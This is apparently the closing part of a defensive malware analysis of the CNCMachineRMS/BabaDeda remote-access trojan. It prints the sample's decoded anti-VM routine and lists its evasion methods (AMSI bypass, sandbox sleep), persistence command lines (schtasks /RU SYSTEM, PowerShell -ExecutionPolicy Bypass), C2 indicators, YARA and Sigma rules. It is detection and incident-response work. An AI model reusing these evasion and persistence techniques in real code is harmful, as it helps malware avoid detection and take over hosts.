15b. Anti-VM logic, decoded verbatim — and an allowlist that disables it. is_vmcheck is 1 (§11f), so the check runs. The isVm() routine is stored as DSL source in the same container and under the same XOR scheme as setupWithGates() (§11c); decoded:

function bool isVm()
{
    string $specFolder = pather::systemdrive_with_slash();
    $specFolder += "Intel";
    bool $exists = io::dir_exists($specFolder);
    if ($exists == true) { return false; }
    int $ramMB = system::get_ram_mb();
    if ($ramMB < 6144) { return true; }
    int $cpuCount = system::get_cpu_count();
    if ($cpuCount < 2) { return true; }
    complex $vm = antihacker::vmdetector_create_instance();
    antihacker::vmdetector_scan_light($vm);
    bool $light_present = antihacker::vmdetector_result_is_guest_vm($vm);
    if ($light_present == true) { ... return true; }
    antihacker::vmdetector_scan_aggressive($vm);
    bool $aggressive_present =
        antihacker::vmdetector_result_is_vm_aggressive_by_opengl_directx($vm);
    ...
}

The order matters. The first test is an inverted one: if %SYSTEMDRIVE%\Intel exists the function returns not a VM immediately, and none of the RAM, CPU-count, light-scan or GPU-based aggressive checks execute. A directory that any real Intel driver installation creates therefore disables the entire anti-VM path. The GPU scan is consistent with the Microsoft Basic Render Driver (0x046a6c), Microsoft Hyper-V Video (0x046b92) and MFG_MICROSOFT_CORPORATION strings recovered from stage 3.

On detection it does not exit. It calls delayer::delay_in_seconds(@vmdetect_sleep_seconds) and continues — sandbox timeout evasion rather than a bail-out, which means a VM-detecting run looks like an inert sample rather than a crash. The uploader blob (see External Intelligence Corroboration) gives that interval as 660 seconds for a different build; this sample’s container record decodes to keystream and the interval is not recoverable from it (§11f). The evasion behaviour is High confidence; the duration for this build is unknown.

Note the separate, unrelated -ExecutionPolicy Bypass strings (0x0fb799, 0x0fd513, 0x11eb64, 0x12f695) — those are PowerShell invocation flags, a different mechanism, and should not be conflated with the AMSI path.

External Intelligence Corroboration

Every finding above was derived first-hand from the bytes on disk, before any external source was consulted. That ordering matters for what follows: the corroboration below is a check on a completed analysis, not an input to it. No third-party value was used to guide a search, and none is cited in Findings.

The published IOCs for this family do not apply to this sample

At least three divergent builds of CNCMachineRMS/BabaDeda are in circulation, and the widely published indicators belong to builds that are not the one analysed here. Carrying them across would generate false positives and, worse, false negatives:

LevelBlue build Second reported build This sample
C2 domain Notepadreleased[.]com notepadreleased[.]com triotmelon[.]com
C2 IP 85.158.110.78 89.124.79[.]98 144.124.242[.]171
State DB %LOCALAPPDATA%\SProject\sp.bin {localappdata}\UTProject\utc.bin {localappdata}\RTProject\rtc.bin
Campaign tag novm first first
VM check disabled enabled enabled
Config carrier HelperStandardizationApplication.bin Tracks_Interface.bak load.db
Signed host WinWrapIDE.exe (IBM SPSS) SysInspector.exe (ESET) WinWrapIDE.exe (IBM SPSS)

Only the signed host WinWrapIDE.exe is byte-identical across builds — which is expected, since it is an unmodified legitimate vendor binary.

Two consequences for defenders:

  1. The C:\Intel allowlist is present in this build — verified directly, and it works for the opposite reason to the one reported. The LevelBlue writeup describes a kill-switch on a build shipping with its VM check disabled. This build has the check enabled (is_vmcheck true, §11f), so that reasoning does not carry across. The behaviour nonetheless holds here, because isVm() opens with an inverted test (§15b): a directory named Intel on the system drive causes an immediate not-a-VM return, short-circuiting every subsequent check. Carried into Recommendations on the strength of this sample’s own decoded logic, not on the external report.
  2. Filename is not identity. wwide9.dll in this bundle differs in bytes from the same-named file in the LevelBlue build. Hunt on hashes and on the behavioural signatures in Detection Opportunities, not on names.

What is genuinely corroborated

The sample’s uploader published a configuration blob for this build as a comment alongside the archive. It was not consulted until after §11 was complete. Compared afterwards, it matches the configuration recovered here field for field: campaign first, the RTProject\rtc.bin state path, the 200-second save delay, the 600 / 90 / 60 / 90 gate timings, is_vmcheck true, and both gate entries — triotmelon[.]com:443 and 144.124.242[.]171:443. It also carries a 660-second VM-detect sleep; that field is not part of the field-for-field match, because the corresponding container record in this sample decodes to keystream and was never recovered (§11f). It is the uploader build’s value, corroborating nothing about this one.

This is real corroboration in the strict sense: two independent derivations of the same values, one from a third party’s claim and one from this analysis’s decode of the settings blob at 0x181e170x181e5b (§11b). It does not add an indicator — every value was already established from bytes — but it raises confidence that the decode is correct rather than a coincidence of a plausible-looking key.

Reliability notes on the external sources

The ClamAV scan (pipeline step 7) returned clean on all artefacts. It was re-run on 2026-08-22 against a current database (engine 1.5.3, daily 28099 built 2026-08-21, 3,628,022 signatures) covering all 21 bundle files and both extracted memory-only stages — zero detections across 23 files. This is a meaningfully negative result rather than a stale one: eighteen days after the malicious components’ 2026-08-04 compilation timestamps, an up-to-date open-source signature set still does not recognise any artefact in the chain, including the 1.58 MB stage-3 RAT that never touches disk. Absence of a detection remains no evidence of benignity, but the failure of a current signature set is itself a finding — it supports the assessment that this family is not broadly covered by commodity signatures and that detection must rest on the behavioural and structural opportunities in the section below.

Indicators of Compromise

Provenance of the string values below. Stage 3 stores essentially all of its strings encoded — LCG stack strings (seed 0x5621401945f4d0e8) and per-string single-byte XOR over UTF-16LE — so almost none of these values appear as literal bytes in load_db_stage3.bin. Each string row cites the offset at which it is decoded; the recovered plaintext for every one is reproduced in stage3_decoded_strings.txt, which is the artefact to check a value against, not a raw strings dump of the binary. A grounding-gate run (cover_check.py) against the stage-3 bytes therefore flags this whole class by construction; that is the expected result for this sample, not an unresolved finding. Hashes, filenames of earlier stages, and third-party detection names are values about files rather than in stage 3 and are likewise absent by nature.

Host — files

Value Type Notes
d7bcae4a915261ace7a845f8c1bb2a54ce918921805204125705bfae29656851 SHA-256 PkSql1.dll, stage-1 loader
32797a560b9a290e715cb5591e71dd9537d782862324906e1bb4652dd2366c9a SHA-256 HTS25.dll, exec helper
d4df2adf41455644e8df22db1f410a46d2d069cdcc6373aac0742d65c34c2186 SHA-256 usbraw.dll, TCP listener + mic
6b1dfa9381c54782da709478c2f343b2988f089da449f0bd79fd732265f4e6d7 SHA-256 Graphic.Model.dat, stage-2 carrier
9a7ec20cfe939a0739819262c1e3ff0265c851136cc263597936773376a5d907 SHA-256 load.db, stage-3 carrier
840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7 SHA-256 stage-2 shellcode (derived, in-memory only)
bd9b94186ff9aef3b2fd78ebc38fa169d5a7821bb6a8e57b25bbdff55476c152 SHA-256 stage-3 RAT (derived, in-memory only)

The two derived hashes never exist as files on a victim system; they are provided for memory scanning and for correlation with other samples.

Provenance note (grounding). Every value in the remaining IOC tables below is absent from the sample bytes as a literal — deliberately so, and this was confirmed by an ASCII and UTF-16LE sweep across all 22 bundle files plus both derived payloads. File hashes are properties of the files rather than content in them; every other value is either XOR-decoded from a load.db record or LCG stack-constructed in stage 3. Each row below therefore carries its origin. The single exception is LCDT, which is a literal in Graphic.Model.dat at offset 0. A reader verifying this report should expect a plain strings pass to find none of these, and should reproduce them via decode_all.py and the container decode in §4 instead.

Host — persistence

Value Type Origin (not a literal in any file) Notes
SPSS WinWrap Basic IDE 27.4 Run-key value name / task name load.db tid=16054, 16-bit word XOR keys 0xb1b1 and 0x8989 (§4) Impersonates the legitimate host application
Software\Microsoft\Windows\CurrentVersion\Run Registry key stage-3 LCG stack string @ 0x0501e3 HKCU persistence
Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run Registry key stage-3 LCG stack string @ 0x0504f3 32-bit view
registryAutorunValue Container resource name load.db tid=16052, word XOR 0xa7a7 (§4); referenced by the tid=16001 script (§5) Internal identifier
shedulerAutorunValue Container resource name load.db tid=16052, word XOR 0x7070 (§4); referenced by the tid=16001 script (§5) Internal identifier (attacker’s spelling)
Value Type Origin (not a literal in any file) Notes
payload.zip Filename stage-3 LCG stack strings @ 0x1224fc, 0x123918 Fetched archive
__dir_exe_zip_stage Directory name stage-3 LCG stack string @ 0x12260f EXE staging dir
__dir_dll_zip_stage Directory name stage-3 LCG stack string @ 0x123a2b DLL staging dir
__extract Directory name stage-3 LCG stack strings @ 0x122c00, 0x124048 Extraction target
main.exe / main.dll Filename stage-3 LCG stack strings @ 0x123000, 0x124462 Executed from the extracted directory

The double-underscore prefixes are attacker-chosen and unusual on Windows; they are the most durable indicator in this group.

Host — reconnaissance (registry reads)

Value Type Origin (not a literal in any file) Notes
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall Registry key stage-3 LCG stack string @ 0x151cff Installed-application enumeration
SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall Registry key stage-3 LCG stack string @ 0x151fdf 32-bit view — both are read
SOFTWARE\Microsoft\Windows Defender Registry key stage-3 LCG stack string @ 0x13b4c6 Defender-specific configuration read (§8)
SOFTWARE\Microsoft\Cryptography / MachineGuid Registry key / value stage-3 LCG stack strings @ 0x13ed54 / 0x13ef60 Durable victim identifier

These are read rather than written, so they generate no persistent host artefact — they are useful for EDR registry-access telemetry and for sandbox behavioural rules, not for forensic triage of a disk image.

Host — defence evasion (AMSI)

Value Type Origin (not a literal in any file) Notes
amsi.dll Module name stage-2 LCG stack string @ 0x018505 AMSI patch target (§15)
BypassExceptionHandler Internal symbol stage-2 @ 0x0221f2, stage-3 @ 0x01abe5 Bypass handler; unusual name, good content signature
fakeLib not equal 8 symbols Diagnostic string stage-2 LCG stack string @ 0x01802d Module-name spoofing check

All four are zero-hit as ASCII plaintext in both stage binaries — they exist only as decoder output. Treat their appearance in a memory scan, not a file scan, as the detection surface.

Host — process and command lines

All four are stage-3 LCG stack strings (§7), reassembled from adjacent decoded fragments rather than existing as single literals.

Value Type Origin Notes
schtasks.exe Image name decoded @ 0x02af4c
/Create /TN, /Query /TN, /Delete /TN schtasks args decoded @ 0x02b46e, 0x02b2b4, 0x02ba79 Create / check / remove
ONLOGON schtasks arg decoded @ 0x02b605 Trigger
HIGHEST schtasks arg decoded @ 0x02b77b With /RU SYSTEM
/qn /norestart msiexec args decoded @ 0x11bf2e (also 0x0fad89, 0x121b08) Silent MSI payload install
msiexec Image name decoded @ 0x0fa94d
-NoProfile / -ExecutionPolicy Bypass -File powershell args decoded @ 0x0fb799 Script payload execution
-NoLogo -NoProfile -NoExit -Command "$OutputEncoding=[Console]::OutputEncoding=[Console]::InputEncoding=[System.Text.UTF8Encoding]::UTF8" powershell args decoded @ 0x10073d Interactive shell channel

Network

All are stage-3 LCG stack strings (§7); none appears as a literal.

Value Type Origin to_ids Notes
cloudflare-dns.com Domain decoded @ 0x067e39 false Legitimate public DoH resolver, abused
dns.google Domain decoded @ 0x067f3e false Legitimate public DoH resolver, abused (default)
dns.quad9.net Domain decoded @ 0x067ff3 false Legitimate public DoH resolver, abused
/dns-query URI path decoded @ 0x0681df false Standard DoH endpoint
application/dns-message Content-Type §12, from the request-construction code false Standard DoH media type
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36... User-Agent decoded @ 0x067a15 false Chrome-like UA on a non-browser process

Note dns.quad9.net decodes as dns.quad9<?>net and the UA as AppleWebKit/537<?>36 — a known cosmetic artifact where a non-b8 instruction encoding interrupts an immediate run. The . separators are certain from context and from the two sibling providers, which decode cleanly.

These five values are deliberately marked to_ids=false. They are genuine third-party services that the malware calls, not attacker infrastructure. Alerting on them directly would generate false positives against any legitimate DoH use. They are retained because dropping them would lose the behavioural signal — the correct detection is the combination described in §12 and in Detection Opportunities, not any one value.

Network — attacker infrastructure

Value Type Origin to_ids Notes
triotmelon.com Domain settings blob 0x181e17, XOR 0x91 true C2 gate 1
144.124.242.171 IPv4 settings blob 0x181e3d, XOR 0xf0 true C2 gate 2 — DNS-independent
443 Port 0x181e33 / 0x181e5b true Both gates; likely not TLS (§11g)
first Campaign tag settings blob false Campaign identifier, context only
{localappdata}\RTProject\rtc.bin File path lsdb_save_path true Local state file

Blocking DoH does not sever C2 — the second gate is a bare IP. Block both endpoints directly.

Cryptographic and structural constants

Value Type Notes
0x43d75dfd Container validation key load.db header/field algebra
0x5621401945f4d0e8 LCG seed Stage-3 stack-string keystream
0x19660D / 0x3C6EF35F LCG multiplier / increment Stage-3 stack strings
0x92 XOR key load.db record tid=16001 (script)
0x811C9DC5 FNV-1a offset basis Stage-3 API hashing
0x3ab30 / 0x53343 Offset / length Payload location in Graphic.Model.dat
LCDT File magic Carrier file header (legitimate Microsoft). The only literal in this report’s IOC section — present at Graphic.Model.dat offset 0

All constants above are immediate operands in instruction encodings, recovered by reading disassembly — they are not byte-searchable as written.

Assessment Limitations

  1. Whether an external settings file can override gate_list: resolved negative, High confidence. The setupWithGates() parser (§11c) sources its gates from runtime::resource_get_string_dictionary(@gate_list) — the embedded resource dictionary — and performs no file, registry, or network read anywhere in the gate path. Combined with the exhaustive three-encoding sweep in §11e showing the token gate_list occurs nowhere in the settings-file loader, the two gates are the complete set rather than a lower bound. The prior Medium-High rating and its residual positional-access caveat are withdrawn: the parser reads by key from a resource, so a positional route into an external file has no path to the gate list. Closed in the pass that resolved §11f.

  2. The settings.xml search path and XML schema were not determined. The loader fcn.000cde9c was located and its failure paths mapped, but no path-construction sequence and no element or attribute names were recovered.

  3. Numeric and boolean configuration values: resolved, with one exception. All gate_*_seconds, is_vmcheck, and the booleans are decoded in §11f — the values sit in a separate 16054 record from the 16052 name record, which is why earlier passes read them as absent. The sole residue is vmdetect_sleep_seconds, whose container field decodes to keystream (§11f). This is now a bounded negative, not an open item: the field is the last record of the container, its name and type records decode cleanly while only its value does not, and all five other well-formed integer settings are small round numbers. Two independent dumps by two analysts have failed on it for that same structural reason. Recovering it requires a corrected keystream termination at the container boundary, not another dump. Nothing in this report depends on the value.

  4. The script-to-native dispatch for communicator::add_gate was not resolved (§12). The endpoints are read directly from the blob and the script states their purpose, so they are High confidence; the exact native call path is Medium.

  5. Whether port-443 traffic is TLS was not confirmed. Medium confidence it is not.

  6. CLOSED — the task-step dispatcher is fully enumerated. All 21 branches of FUN_00119af8 map to a named capability (§8b), verified independently by two analysts with no residue, and the three absent id slots are enumerated rather than unexamined. What remains open is a different, larger question, and it is now better posed than it was: the presumption that a top-level C2 command router sits above 0x119af8 and feeds it ids is contradicted for every call path examined (see 6a).

6a. The C2 path does not reach the step dispatcher, and the id space is compared in exactly one place. Walking direct call edges to depth 8 from all six known C2 functions — gate iteration 0xd50e0, connect 0x6c1b8, handshake 0x6cb74, host/port set 0xd553c, session setup 0xd36ec, and three levels above it — reaches 0x119af8 from none of them. The walk visited 280 and 47 functions from the two principal seeds and found zero indirect calls in either neighborhood, which is what makes this a bounded negative rather than an artefact of following direct edges only: there is no function-pointer hop for the path to have escaped through. Independently, the dispatched id space occurs as a code immediate at exactly one address in the binary — 0x119b7b, inside the dispatcher itself; every other match is data.

0x119af8 is moreover a registered callback, not a directly-called routine: the thunk at 0x11856c is taken by address (lea r9, [0x11856c]) and handed to fcn.00073840, a generic invoker ending in call qword [rsp+0x40]. The id it dispatches on comes from fcn.00098058, a keyed property getter with ten unrelated callers — not from a socket.

The reading this supports is that 0x119af8 executes script steps, and the steps come from the DSL already recovered in §5 (task block_execution { … previewer::load_re_firmcode($exe_bytes); }) rather than from the wire.

[RESOLVED 2026-08-22 — see §8c and Corrections 61.] The message handling after 0x6cb74 has now been read, and the two possibilities previously left open are decided. The C2 path does reach the step dispatcher — not by calling it, but by starting it as a thread. fcn.000d36ec, already on the seed list above, calls fcn.0011833c at 0xd387a, which calls the registrar fcn.00132644, which passes the dispatcher thunk 0x11856c by address to the invoker. The direct-edge negative above is therefore correct and complete as stated — there is no call edge — but it does not mean the two subsystems are unjoined. No separate command router exists; the operator’s command surface is pushed script executed by this same interpreter, which was the first of the two readings. The step count remains a lower bound only in the sense that the DSL is open-ended, not because unexamined router code is suspected.

  1. Credential-extraction paths were not traced to completion. §8a rests on browser names, ProgIDs and target directories, not on reading the extraction code. Rated Medium-High for that reason.

  2. The FNV-1a hash-to-API mapping is partial. Module-level resolution is recovered (23 modules); per-export resolution is incomplete, so some resolved API calls remain unnamed.

  3. Ghidra output is inferred, not ground truth. Where this report cites decompiled C, the corresponding claim was verified against radare2 disassembly. Function boundaries disagreed between the two engines in the 0xcdc4c0xce70c region, and radare2 was used there.

  4. Initial infection vector is unknown. How this bundle reaches a victim — installer, archive, supply-chain substitution into a real IDE installation — is not determinable from the files themselves.

  5. Graphic.Model.dat head and tail were identified but not fully parsed. They are a genuine LCDT locale table by magic, copyright string and entropy; the internal table structure was not walked to confirm every record is legitimate.

  6. ClamAV coverage is one vendor’s, not the industry’s. The original scan ran against a database more than seven days stale; it was re-run on 2026-08-22 against a current one (daily 28099, 3,628,022 signatures) over all 21 bundle files and both extracted stages, returning zero detections. That closes the staleness caveat, but the residual limit is scope: ClamAV is a single open-source engine, so a clean result bounds its coverage and says nothing about commercial products. No multi-engine scan was performed, and the sample was not submitted to any third-party service — deliberately, to avoid disclosing the artefact set.

  7. Stage 2’s API-hash table was never extracted. §15a’s memory-primitive negative is therefore one-sided: it establishes that stage 3 lacks page-protection and memory-write primitives, not that stage 2 has them. Any stage-2-versus-stage-3 capability contrast is unmeasured. Extracting stage 2’s table is the single highest-value follow-up in this report, since it would either close the AMSI question in §15 or show the two stages are less differentiated than the strings suggest.

Recommendations

Immediate — containment

  1. Treat any host running this bundle as fully compromised with SYSTEM-level persistence and an interactive operator channel. Credentials used on the host should be considered exposed.

    For analysis, not defence: creating %SYSTEMDRIVE%\Intel on a sandbox VM disables this build’s entire anti-VM path (§15b), allowing detonation without waiting out the sleep — whose duration is unknown for this build (§11f), which is itself a reason to prefer the allowlist directory over guessing a timeout. This is an analyst aid; it is not a containment measure, and it must not be deployed to production hosts as a “vaccine” — nothing else in the sample keys on that directory, so it prevents no compromise.

  2. Terminate the process before removing persistence. Deleting the Run key or scheduled task alone is ineffective: it is restored within 875 seconds and again at shutdown (§6).

  3. Check all four persistence stores, not the two this build configures. Remove the entries named SPSS WinWrap Basic IDE 27.4 from the HKCU Run key and the scheduled task — the two load.db re-applies on a timer — and then check the two further stores the payload can be told to use (§6b), since the choice is made per task by the operator and cannot be excluded from the binary:

    Verify the scheduled task’s /RU SYSTEM context and check for additional tasks. Treat any of the four bearing the vendor-impersonating name as attacker-created regardless of how plausible the target path looks.

  4. Isolate the host from the network. Note that the usbraw.dll listener (§13) requires inbound reachability, so egress filtering alone does not close that channel.

Investigation

  1. Block both C2 gates immediatelytriotmelon.com and 144.124.242.171, port 443. Blocking DoH alone is insufficient: the second gate is a bare IP and needs no name resolution.
  2. Hunt proxy, firewall and NetFlow logs for connections to either gate on 443. Note the traffic is likely not TLS (§11g), so a TLS-only inspection point may not have recorded it.
  3. Look for %LOCALAPPDATA%\RTProject\rtc.bin — the RAT’s local state file. Its presence confirms execution; its absence does not rule it out.
  4. Capture a memory image before remediation. The stage-2 and stage-3 payloads exist only in memory; the derived hashes in the IOC section are provided for this purpose.
  5. Audit for the hardware fingerprint data in §8 having been exfiltrated — motherboard and BIOS serials in particular, which enable durable re-targeting.
  6. Check whether the genuine WinWrap Basic IDE is legitimately licensed and installed in the environment. If so, determine whether this bundle replaced a real installation, which would change the incident’s scope.
  7. Do not treat absent persistence as absent compromise. The implant carries two separate uninstall commands (§9a): one removes its autorun entries while leaving the process running, the other retires the client. A host with network or log evidence of infection but a clean sweep of all four autorun stores is therefore consistent with operator teardown, and in the autorun-only case with a still-running memory-resident implant. Escalate rather than close such a host, and image memory (Recommendation 8) before rebooting — a reboot destroys the only remaining evidence in exactly that scenario.

Hardening

  1. Enforce DLL search-order hardening for the affected application directory, and audit for other signed applications with sideloadable imports.
  2. Block or monitor outbound DoH to public resolvers from endpoints that have no business reason to use it (§12); force DNS through inspected internal resolvers.
  3. Constrain schtasks /RU SYSTEM task creation to administrative contexts and alert on it.

Detection Opportunities

This sample yields direct network IOCs (§11) as well as strong host-based behavioural signal. Both are given below; the network indicators are the fastest path to detection, the behavioural ones survive infrastructure rotation.

  1. %SYSTEMDRIVE%\Intel as an anti-anti-VM allowlist (§15b). An inverted first test that returns not a VM when the directory exists is unusual, and it is durable across config changes because it is in the program logic rather than the settings container. Two uses: as a hunting signature, and as a note to analysts that a VM carrying that directory is not evaded at all by this build.

  2. A VM-detecting run sleeps rather than exits (§15b), for vmdetect_sleep_seconds — a value not recovered for this build (§11f). The figure of 660 seconds comes from a different build’s configuration and should not be used as a threshold here. The detection is the behaviour, not the interval: automated sandboxes should treat a long initial dormancy in this bundle as a positive signal rather than as an inert sample, and should not tune a timeout to 660.

  3. Defender-specific registry read plus MachineGuid. A process reading SOFTWARE\Microsoft\Windows Defender and SOFTWARE\Microsoft\Cryptography\MachineGuid in the same survey, alongside both Uninstall views, is a recognisable reconnaissance burst. Higher-signal than any of those reads alone, since each is individually benign.

  4. Zipped-payload staging sequence. payload.zip written into a directory named __dir_exe_zip_stage or __dir_dll_zip_stage, followed by an __extract subdirectory and execution of main.exe/main.dll from within it. These names are attacker-chosen and specific; they survive C2 rotation and catch the four _BY_LINK handlers that write-then-execute rules miss (§9).

  5. All four autorun stores, not two. Hunt the vendor-impersonating name across HKCU Run, HKLM Run, scheduled tasks, and the Startup folders (§6b). A sweep scoped to the two mechanisms this build re-applies on a timer will miss the two an operator can select per task.

  6. Deletion of the autorun entry by a non-administrative process that then keeps running. The Autorun uninstall command (§9a) removes persistence without terminating the implant. A Run-value or scheduled-task deletion performed by the same vendor-impersonating process that created it — rather than by an administrator, an installer, or a security tool — is a strong teardown signal. Alert on self-deletion of an autorun entry, not only on its creation: most persistence monitoring watches writes and ignores removals.

  7. A known-infected host that goes quiet with no artefacts. Given two independent uninstall commands, an infection confirmed by network telemetry that leaves no autorun entry, no rtc.bin and no running process should be triaged as possible operator teardown rather than as a failed or blocked install. The distinction matters for scoping: teardown implies the operator had working C2 and chose to withdraw, which raises the likelihood that collection already succeeded on that host.

Tier 1 — Network (direct indicators)

  1. Connections to triotmelon.com or 144.124.242.171 on port 443. Block and alert on both. The IP gate requires no DNS, so name-based controls alone miss it.
  2. Non-TLS traffic on port 443 to either endpoint (§11g, Medium confidence). A TLS-only inspection point may see nothing; a protocol-aware one should flag plaintext-on-443 as anomalous regardless of destination.
  3. Creation of %LOCALAPPDATA%\RTProject\rtc.bin.

Tier 2 — Host behavioural (high-confidence, low false positive)

  1. Process lineage: WinWrapIDE.exe (or any signed IDE) as the parent of schtasks.exe, powershell.exe, cmd.exe, msiexec.exe, rundll32.exe, regsvr32.exe, or cscript.exe. The legitimate application has no reason to spawn any of these. Enumerate all seven: the dispatcher (§9) carries fifteen payload handlers reaching six distinct LOLBins, and a rule listing only the obvious two or three misses most of the execution surface. Note cscript.exe appears once in the dispatcher and is the easiest to leave out.
  2. Persistence naming mismatch: a Run-key value or scheduled task named SPSS WinWrap Basic IDE 27.4 whose target path is not the vendor’s installed location, or which coexists with no legitimate IDE installation.
  3. Self-healing persistence: a Run key or scheduled task that is recreated within ~150 s or ~875 s of deletion. This timing signature is distinctive and is a direct consequence of §6.
  4. EnumSystemCodePagesW with a heap or VirtualAlloc pointer as its callback (§3). This API has essentially no legitimate use with a non-module callback address, making it a high-quality single-event detection.

Tier 3 — Host behavioural (broader, needs tuning)

  1. DoH from a non-browser process: winhttp.dll-based POST to /dns-query with Content-Type: application/dns-message, from a process that is not a browser. The combination — WinHTTP rather than WinINet, a Chrome User-Agent, and a non-browser image — is the signal; no single element is.
  2. RWX allocation followed by BCryptGenRandom flooding of the surrounding region (§3), an unusual pairing.
  3. Inbound TCP listener bound by a process running from an application directory (§13), particularly one that also touches WINMM audio capture.
  4. Bulk enumeration of browser ProgIDs and UrlAssociations\http\UserChoice reads by a non-browser process (§8a).

Tier 4 — File and static

  1. YARA on the stage-1 rolling-XOR decryptor constants (0x53343 length with the -0x53 / +0x07 / *0x05 + 0x5c keystream arithmetic), and on the stage-3 LCG constants (0x5621401945f4d0e8, 0x19660D, 0x3C6EF35F).

  2. Container structure: a file whose bytes satisfy q[2] - ((0x43d75dfd - q[0]*q[1]) + q[5]) == 1 at offset 0. This is a format-level signature independent of payload content, and survives payload changes.

  3. A file bearing the LCDT magic and Microsoft copyright whose interior contains a high-entropy region inconsistent with locale data (§3a).

  4. Unsigned DLLs with graphics- or multimedia-themed export names sitting alongside a signed application, where the signed application’s imports resolve into them (§14).

  5. Configuration field names as content signatures. The settings container (§11f) uses several field names distinctive enough to be searched for directly in memory: is_tosend_firstlaunch_screenshot, enable_acs_onstart, gate_keep_alive_duration_seconds, gate_failed_reconnect_delay_seconds, and the attacker’s misspelled shedulerAutorunValue. These survive C2 rotation — a new build with new infrastructure keeps the same configuration schema — which makes them more durable than the endpoint IOCs, and they are what to hunt with across the divergent builds noted in External Intelligence Corroboration.

  6. AMSI bypass strings in memory (§15): amsi.dll, BypassExceptionHandler and fakeLib not equal 8 symbols. Because these are LCG-decoded at runtime and appear nowhere as plaintext on disk, a file-based scan cannot see them — this is a memory-scan signature specifically. BypassExceptionHandler is the highest-value of the three, being an attacker-chosen symbol rather than a Windows name.

Tier 5 — Codified rules

The rules below express the highest-value items from Tiers 1–4 in deployable form. They target content that survives infrastructure rotation — container key, decoder constants, configuration schema, module layout — rather than the endpoints, which will age out.

Validation performed. All five rules compile under yara -w (0 errors, 0 warnings) and were run against the 21-file bundle and the two carved payload blobs; re-run and reproduced identically on 2026-08-22 under YARA 4.5.5, with the raw output kept at yara_validation.txt. Result:

Rule Matches False positives in bundle
CNCRMS_Sideload_Layout HTS25.dll, PkSql1.dll 0 of 19
CNCRMS_Stage2_Container_Key payload_stage2.bin 0
CNCRMS_LCG_StackStrings load_db_stage3.bin, payload_stage2.bin 0
CNCRMS_LoadDB_Container_Format load.db, load_db_stage3.bin 0 of 19
CNCRMS_Config_Schema_Memory (none — file scan) 0

The fifth rule matching nothing is its designed behaviour, not a failure: its scan_target meta field reads process memory, NOT files, because the settings field names it looks for are decoded only at runtime and never exist as bytes on disk. A rule of that kind must be validated by reading its intent, since a file corpus can neither confirm nor refute it — the earlier count of “four rules” silently omitted it for exactly this reason.

Exactly 3 of the 21 bundled files match any rule, and all three are the files independently established as malicious (§1, §14) — the eighteen non-matching files include every legitimate redistributable and the signed host application. usbraw.dll is a true negative worth noting: it is malicious (§13) but shares none of these constants, so the rule set does not cover it.

Two caveats this validation does not remove. The corpus is one bundle, not a production baseline, so the zero-false-positive figure bounds nothing about scale — CNCRMS_LoadDB_Container_Format in particular is a weak structural shape (see its note) and is expected to be the noisiest at volume. And a negative result on a rule is not evidence of absence, only of these constants’ absence.

rule CNCRMS_Stage2_Container_Key
{
    meta:
        description = "Stage-2 shellcode: load.db container validation key"
        reference   = "Technical Analysis sections 3, 4"
        note        = "K is compiled into the stage-2 DECODER, not stored in load.db itself - verified: 1 hit in payload_stage2.bin, 0 in the container. Memory or carved-blob scanning."
        confidence  = "high"
    strings:
        $k = { fd 5d d7 43 }          // K = 0x43d75dfd, little-endian
    condition:
        $k
}

rule CNCRMS_LoadDB_Container_Format
{
    meta:
        description = "load.db container - structural, payload-independent"
        reference   = "Technical Analysis section 4"
        note        = "The header identity q[2]-((K-q[0]*q[1])+q[5])==1 is not expressible in YARA arithmetic over file dwords; this rule captures only the weaker observable shape and MUST be paired with the identity check in a scanner."
        confidence  = "low - shape only, expect false positives"
    strings:
        $mz = { 4d 5a }
    condition:
        not ($mz at 0) and filesize > 1MB and filesize < 4MB
}

rule CNCRMS_LCG_StackStrings
{
    meta:
        description = "LCG stack-string decoder constants - matches EITHER stage"
        reference   = "Technical Analysis sections 7, 8, 15"
        note        = "seed differs per stage. Measured: seed3 x1477 in load_db_stage3.bin, seed2 x124 in payload_stage2.bin; neither seed appears in the other stage."
        confidence  = "high"
    strings:
        $seed3 = { e8 d0 f4 45 19 40 21 56 }   // 0x5621401945f4d0e8
        $seed2 = { 65 15 29 fa 75 66 a5 7b }   // 0x7ba56675fa291565
        $mul   = { 0d 66 19 00 }               // 0x19660D
        $add   = { 5f f3 6e 3c }               // 0x3C6EF35F
    condition:
        ($seed3 or $seed2) and $mul and $add
}

rule CNCRMS_Config_Schema_Memory
{
    meta:
        description = "Settings-blob field names - decoded only in memory, not on disk"
        reference   = "Technical Analysis section 11f; Detection item 16"
        scan_target = "process memory, NOT files"
        confidence  = "high"
    strings:
        $a = "is_tosend_firstlaunch_screenshot" ascii wide
        $b = "gate_failed_reconnect_delay_seconds" ascii wide
        $c = "enable_acs_onstart" ascii wide
        $d = "shedulerAutorunValue" ascii wide     // attacker's misspelling
        $e = "BypassExceptionHandler" ascii wide
    condition:
        2 of them
}

rule CNCRMS_Sideload_Layout
{
    meta:
        description = "Camouflage module naming alongside a signed host application"
        reference   = "Technical Analysis section 14"
        confidence  = "medium - structural, tune against a benign baseline"
    strings:
        $e1 = "OptimizeTextCard"  ascii
        $e2 = "LoadDatabase"      ascii
        $e3 = "Accuracy"          ascii
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

Sigma — persistence re-application on a timer. This is the single most distinctive host behaviour, because the check-then-restore loop (§6) means the entry reappears after deletion rather than simply existing. A rule keyed on the value name alone would miss a renamed build; a rule keyed on repeated re-creation would not.

title: CNCMachineRMS Implant - Self-Healing Autorun Re-Application
id: 8f2c1d4e-3b7a-4e91-a6c5-2d9f0e1b7a43
status: experimental
description: >
  Detects the self-healing persistence loop of the CNCMachineRMS/BabaDeda
  implant, which re-applies its Run key and scheduled task on 150 s / 875 s
  timers and again at shutdown. Deleting the entry while the process lives is
  undone, so repeated re-creation is the signal - not mere presence.
references:
  - Technical Analysis sections 5, 6, 6b
logsource:
  product: windows
  category: registry_set
detection:
  autorun_value:
    TargetObject|contains:
      - '\CurrentVersion\Run\'
    Details|contains:
      - 'WinWrap'
  masquerade_name:
    TargetObject|endswith:
      - 'SPSS WinWrap Basic IDE 27.4'
  condition: autorun_value or masquerade_name
falsepositives:
  - A genuine licensed WinWrap Basic IDE installation writing its own Run entry.
    Distinguish by target path and by whether the value is re-created after
    deletion.
level: high
---
